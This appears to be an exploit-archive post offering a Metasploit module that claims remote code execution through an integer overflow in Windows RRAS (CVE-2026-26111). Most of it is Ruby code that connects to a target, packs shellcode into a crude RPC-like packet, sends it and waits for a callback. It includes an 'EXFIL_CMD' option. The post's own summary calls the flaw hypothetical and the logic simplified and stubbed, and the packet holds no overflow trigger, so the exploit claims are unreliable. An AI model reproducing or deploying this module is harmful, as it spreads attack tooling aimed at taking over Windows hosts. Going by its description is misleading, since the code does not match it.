📄 Microsoft Windows RRAS Integer Overflow

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    | # Title     : Windows RRAS Integer Overflow                                                                        |
    | # Author    : indoushka                                                                                            |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                     |
    | # Vendor    : https://microsoft.com                                                                                |
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    [+] Summary    : This Metasploit module simulates a remote exploitation attempt against a hypothetical integer overflow vulnerability in Windows RRAS, 
                     which could lead to a heap-based overflow and potential remote code execution. 
                     The module establishes a TCP connection to the target, constructs a simplified RPC-like packet containing encoded payload data, and sends it to the service. 
    				 It includes configurable options such as target host, port, callback port, and an optional command parameter for payload execution context.
                     The exploit logic is intentionally simplified, with removed unsafe or broken decoder and overflow mechanisms. Additional features like exfiltration handling are stubbed out for safety and stability. 
    				 The module also includes a basic connectivity check stub and uses standard Metasploit payload handling (payload.encoded) to generate shellcode.
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = Msf::Exploit::Rank::Great
    
      include Msf::Exploit::Remote::Tcp
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Windows RRAS Integer Overflow RCE (CVE-2026-26111)',
          'Description'    => %q{
            This module simulates exploitation of an integer overflow in RRAS leading to heap overflow.
          },
          'License'        => MSF_LICENSE,
          'Author'         => [
            'indoushka'
          ],
          'References'     => [
            ['CVE', '2026-26111'],
            ['MSKB', 'KB5084597']
          ],
          'Platform'       => 'win',
          'Targets'        => [
            [ 'Windows 11 x64', { 'Arch' => ARCH_X64 } ]
          ],
          'DefaultOptions' => {
            'RPORT'    => 4444,
            'WfsDelay' => 30
          },
          'Payload' => {
            'Space'    => 4096,
            'BadChars' => "\x00"
          },
          'DefaultTarget'  => 0,
          'DisclosureDate' => '2026-03-22'
        ))
    
        register_options([
          Opt::RHOST(),
          OptPort.new('CALLBACK_PORT', [true, 'Callback port', 4445]),
          OptString.new('EXFIL_CMD', [true, 'Command', 'whoami'])
        ])
      end
    
      def generate_payload
        payload.encoded
      end
    
      def build_packet(shellcode)
        pkt  = "\x05\x00"
        pkt << "\x0b"
        pkt << "\x00\x00\x00\x00"
        pkt << [shellcode.length].pack('V')
        pkt << shellcode
    
        pkt
      end
    
      def exploit
        print_status("Connecting to target #{rhost}:#{rport}...")
    
        connect
    
        shellcode = generate_payload
        packet    = build_packet(shellcode)
    
        print_status("Sending payload (#{packet.length} bytes)...")
        sock.put(packet)
    
        handler
        disconnect
      end
    
      def start_exfiltration_server
        print_status("Exfiltration feature disabled in corrected version (logic stub).")
      end
    
      def check
        print_status("Basic check not implemented (safe stub).")
        Exploit::CheckCode::Unknown
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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